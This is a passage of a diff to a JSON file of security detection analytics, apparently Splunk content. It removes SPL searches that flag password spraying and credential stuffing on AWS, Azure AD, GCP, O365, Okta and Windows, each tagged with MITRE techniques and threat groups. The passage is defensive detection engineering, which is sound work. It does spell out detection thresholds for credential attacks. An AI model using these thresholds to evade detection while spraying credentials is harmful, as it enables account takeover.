"Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "tried_accounts", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple failed console login attempts (Count: $failed_attempts$) against users from IP Address - $src_ip$", - "risk_score": 54, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "AWS Multiple Users Failing To Authenticate From Ip", - "description": "The following analytic identifies a single source IP failing to authenticate into the AWS Console with 30 unique valid users within 10 minutes. It leverages CloudTrail logs to detect multiple failed login attempts from the same IP address. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain unauthorized access or elevate privileges by trying common passwords across many accounts. If confirmed malicious, this activity could lead to unauthorized access, data breaches, or further exploitation within the AWS environment.", - "search": "`cloudtrail` eventName=ConsoleLogin action=failure | bucket span=10m _time | stats dc(user_name) AS unique_accounts values(user_name) as tried_accounts by _time, src_ip | `aws_multiple_users_failing_to_authenticate_from_ip_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover", - "Compromised User Account" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "tried_accounts", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple failed console login attempts (Count: $unique_accounts$) against users from IP Address - $src_ip$", - "risk_score": 54, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "AWS Unusual Number of Failed Authentications From Ip", - "description": "The following analytic identifies a single source IP failing to authenticate into the AWS Console with multiple valid users. It uses CloudTrail logs and calculates the standard deviation for source IP, leveraging the 3-sigma rule to detect unusual numbers of failed authentication attempts. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges. If confirmed malicious, this activity could lead to unauthorized access, data breaches, or further exploitation within the AWS environment.", - "search": "`cloudtrail` eventName=ConsoleLogin action=failure | bucket span=10m _time | stats dc(_raw) AS distinct_attempts values(user_name) as tried_accounts by _time, src_ip | eventstats avg(distinct_attempts) as avg_attempts , stdev(distinct_attempts) as ip_std by _time | eval upperBound=(avg_attempts+ip_std*3) | eval isOutlier=if(distinct_attempts > 10 and distinct_attempts >= upperBound, 1, 0) | where isOutlier = 1 |`aws_unusual_number_of_failed_authentications_from_ip_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "tried_accounts", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Unusual number of failed console login attempts (Count: $distinct_attempts$) against users from IP Address - $src_ip$", - "risk_score": 54, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "Azure AD Multi-Source Failed Authentications Spike", - "description": "The following analytic detects potential distributed password spraying attacks in an Azure AD environment. It identifies a spike in failed authentication attempts across various user-and-IP combinations from multiple source IPs and countries, using different user agents. This detection leverages Azure AD SignInLogs, focusing on error code 50126 for failed authentications. This activity is significant as it indicates an adversary's attempt to bypass security controls by distributing login attempts. If confirmed malicious, this could lead to unauthorized access, data breaches, privilege escalation, and lateral movement within the organization's infrastructure.", - "search": " `azure_monitor_aad` category=SignInLogs properties.status.errorCode=50126 properties.authenticationDetails{}.succeeded=false | rename properties.* as * | bucket span=5m _time | eval uniqueIPUserCombo = src_ip . \"-\" . user | stats count min(_time) as firstTime max(_time) as lastTime dc(uniqueIPUserCombo) as uniqueIpUserCombinations, dc(user) as uniqueUsers, dc(src_ip) as uniqueIPs, dc(user_agent) as uniqueUserAgents, dc(location.countryOrRegion) as uniqueCountries values(user) as user, values(src_ip) as ips, values(user_agent) as user_agents, values(location.countryOrRegion) as countries | where uniqueIpUserCombinations > 20 AND uniqueUsers > 20 AND uniqueIPs > 20 AND uniqueUserAgents = 1 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_multi_source_failed_authentications_spike_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover", - "NOBELIUM Group" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "An anomalous multi source authentication spike ocurred at $_time$", - "risk_score": 42, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "Azure AD Multiple Users Failing To Authenticate From Ip", - "description": "The following analytic detects a single source IP failing to authenticate with 30 unique valid users within 5 minutes in Azure Active Directory. It leverages Azure AD SignInLogs with error code 50126, indicating invalid passwords. This behavior is significant as it may indicate a Password Spraying attack, where an adversary attempts to gain initial access or elevate privileges by trying common passwords across many accounts. If confirmed malicious, this activity could lead to unauthorized access, data breaches, or privilege escalation within the Azure AD environment.", - "search": " `azure_monitor_aad` category=SignInLogs properties.status.errorCode=50126 properties.authenticationDetails{}.succeeded=false | rename properties.* as * | bucket span=5m _time | stats count min(_time) as firstTime max(_time) as lastTime dc(user) AS unique_accounts values(user) as user by src_ip | where unique_accounts > 30 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_multiple_users_failing_to_authenticate_from_ip_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Source Ip $src_ip$ failed to authenticate with 30 users within 5 minutes.", - "risk_score": 63, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "Azure AD Unusual Number of Failed Authentications From Ip", - "description": "The following analytic identifies a single source IP failing to authenticate with multiple valid users, potentially indicating a Password Spraying attack against an Azure Active Directory tenant. It uses Azure SignInLogs data and calculates the standard deviation for source IPs, applying the 3-sigma rule to detect unusual numbers of failed authentication attempts. This activity is significant as it may signal an adversary attempting to gain initial access or elevate privileges. If confirmed malicious, this could lead to unauthorized access, privilege escalation, and potential compromise of sensitive information.", - "search": " `azure_monitor_aad` category=SignInLogs properties.status.errorCode=50126 properties.authenticationDetails{}.succeeded=false | rename properties.* as * | bucket span=5m _time | stats dc(userPrincipalName) AS unique_accounts values(userPrincipalName) as userPrincipalName by _time, ipAddress | eventstats avg(unique_accounts) as ip_avg, stdev(unique_accounts) as ip_std by ipAddress | eval upperBound=(ip_avg+ip_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1,0) | where isOutlier = 1 | `azure_ad_unusual_number_of_failed_authentications_from_ip_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Active Directory", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "userPrincipalName", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "ipAddress", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Possible Password Spraying attack against Azure AD from source ip $ipAddress$", - "risk_score": 54, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "GCP Multiple Users Failing To Authenticate From Ip", - "description": "The following analytic detects a single source IP address failing to authenticate into more than 20 unique Google Workspace user accounts within a 5-minute window. It leverages Google Workspace login failure events to identify potential password spraying attacks. This activity is significant as it may indicate an adversary attempting to gain unauthorized access or elevate privileges within the Google Cloud Platform. If confirmed malicious, this behavior could lead to unauthorized access to sensitive resources, data breaches, or further exploitation within the environment.", - "search": "`gws_reports_login` event.type = login event.name = login_failure | bucket span=5m _time | stats count dc(user) AS unique_accounts values(user) as tried_accounts values(authentication_method) AS authentication_method earliest(_time) as firstTime latest(_time) as lastTime by _time event.name src app id.applicationName | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where unique_accounts > 20 | `gcp_multiple_users_failing_to_authenticate_from_ip_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "Google Cloud Platform tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "tried_accounts", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Multiple failed login attempts (Count: $unique_accounts$) against users seen from $src$", - "risk_score": 54, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "GCP Unusual Number of Failed Authentications From Ip", - "description": "The following analytic identifies a single source IP failing to authenticate into Google Workspace with multiple valid users, potentially indicating a Password Spraying attack. It uses Google Workspace login failure events and calculates the standard deviation for source IPs, applying the 3-sigma rule to detect unusual failed authentication attempts. This activity is significant as it may signal an adversary attempting to gain initial access or elevate privileges. If confirmed malicious, this could lead to unauthorized access, data breaches, or further exploitation within the environment.", - "search": "`gws_reports_login` event.type = login event.name = login_failure| bucket span=5m _time | stats dc(user_name) AS unique_accounts values(user_name) as tried_accounts values(authentication_method) AS authentication_method by _time, src | eventstats avg(unique_accounts) as ip_avg , stdev(unique_accounts) as ip_std by _time | eval upperBound=(ip_avg+ip_std*3) | eval isOutlier=if(unique_accounts > 10 and unique_accounts >= upperBound, 1, 0) | where isOutlier =1| `gcp_unusual_number_of_failed_authentications_from_ip_filter`", - "tags": { - "analytic_story": [ - "GCP Account Takeover" - ], - "asset_type": "Google Cloud Platform tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "tried_accounts", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Unusual number of failed console login attempts (Count: $unique_accounts$) against users from IP Address - $src$", - "risk_score": 54, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "O365 Multi-Source Failed Authentications Spike", - "description": "The following analytic identifies a spike in failed authentication attempts within an Office 365 environment, indicative of a potential distributed password spraying attack. It leverages UserLoginFailed events from O365 Management Activity logs, focusing on ErrorNumber 50126. This detection is significant as it highlights attempts to bypass security controls using multiple IP addresses and user agents. If confirmed malicious, this activity could lead to unauthorized access, data breaches, privilege escalation, and lateral movement within the organization. Early detection is crucial to prevent account takeovers and mitigate subsequent threats.", - "search": " `o365_management_activity` Workload=AzureActiveDirectory Operation=UserLoginFailed ErrorNumber=50126 | bucket span=5m _time | eval uniqueIPUserCombo = src_ip . \"-\" . user | stats dc(uniqueIPUserCombo) as uniqueIpUserCombinations, dc(user) as uniqueUsers, dc(src_ip) as uniqueIPs, values(user) as user, values(src_ip) as ips, values(user_agent) as user_agents by _time | where uniqueIpUserCombinations > 20 AND uniqueUsers > 20 AND uniqueIPs > 20 | `o365_multi_source_failed_authentications_spike_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "An anomalous multi source authentication spike ocurred at $_time$", - "risk_score": 42, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "O365 Multiple Users Failing To Authenticate From Ip", - "description": "The following analytic identifies instances where more than 10 unique user accounts fail to authenticate from a single IP address within a 5-minute window. This detection leverages O365 audit logs, specifically Azure Active Directory login failures (AzureActiveDirectoryStsLogon). Such activity is significant as it may indicate brute-force attacks or password spraying attempts. If confirmed malicious, this behavior suggests an external entity is attempting to breach security by targeting multiple accounts, potentially leading to unauthorized access. Immediate action is required to block or monitor the suspicious IP and notify affected users to enhance their security measures.", - "search": " `o365_management_activity` Workload=AzureActiveDirectory Operation=UserLoginFailed ErrorNumber=50126 | bucket span=5m _time | stats dc(user) as unique_accounts values(user) as user values(LogonError) as LogonError values(signature) as signature values(UserAgent) as UserAgent by _time, src_ip | where unique_accounts > 10 | `o365_multiple_users_failing_to_authenticate_from_ip_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Office 365 Account Takeover" - ], - "asset_type": "O365 Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Source Ip $src_ip$ failed to authenticate with 20 users within 5 minutes.", - "risk_score": 63, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "Okta ThreatInsight Login Failure with High Unknown users", - "description": "**DEPRECATION NOTE** - This search has been deprecated and replaced with `Okta ThreatInsight Threat Detected`. The following analytic utilizes Oktas ThreatInsight to identify Login failures with high unknown users count and any included secondary outcome reasons. This event will trigger when a brute force attempt occurs with unknown usernames attempted.", - "search": "`okta` eventType=\"security.threat.detected\" AND outcome.reason=\"Login failures with high unknown users count*\" | stats count min(_time) as firstTime max(_time) as lastTime values(displayMessage) by user eventType client.userAgent.rawUserAgent client.userAgent.browser outcome.reason | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_threatinsight_login_failure_with_high_unknown_users_filter`", - "tags": { - "analytic_story": [ - "Suspicious Okta Activity" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "outcome.reason", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "Okta ThreatInsight has detected or prevented a high number of login failures.", - "risk_score": 50, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.001", - "mitre_attack_technique": "Default Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN13", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "Windows Local Administrator Credential Stuffing", - "description": "The following analytic detects attempts to authenticate using the built-in local Administrator account across more than 30 endpoints within a 5-minute window. It leverages Windows Event Logs, specifically events 4625 and 4624, to identify this behavior. This activity is significant as it may indicate an adversary attempting to validate stolen local credentials across multiple hosts, potentially leading to privilege escalation. If confirmed malicious, this could allow the attacker to gain widespread access and control over numerous systems within the network, posing a severe security risk.", - "search": " `wineventlog_security` EventCode=4625 OR EventCode=4624 Logon_Type=3 TargetUserName=Administrator | bucket span=5m _time | stats dc(Computer) AS unique_targets values(Computer) as host_targets by _time, IpAddress, TargetUserName, EventCode | where unique_targets > 30 | `windows_local_administrator_credential_stuffing_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Active Directory Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "host_targets", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "IpAddress", - "type": "Endpoint", - "role": [ - "Attacker" - ] - } - ], - "message": "Local Administrator credential stuffing attack coming from $IpAddress$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110", - "mitre_attack_technique": "Brute Force", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT38", - "APT39", - "DarkVishnya", - "Dragonfly", - "FIN5", - "Fox Kitten", - "HEXANE", - "OilRig", - "Turla" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } } ], "external_reference": [ @@ -568527,1024 +377536,7 @@ "Event ID": null, "Event Name": "SSL/TLS inspection" } - ], - { - "name": "CSC Net On The Fly Compilation", - "description": "The following analytic detects the use of the .NET compiler csc.exe for on-the-fly compilation of potentially malicious .NET code. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line patterns associated with csc.exe. This activity is significant because adversaries and malware often use this technique to evade detection by compiling malicious code at runtime. If confirmed malicious, this could allow attackers to execute arbitrary code, potentially leading to system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_csc` Processes.process = \"*/noconfig*\" Processes.process = \"*/fullpaths*\" Processes.process = \"*@*\" by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `csc_net_on_the_fly_compilation_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - 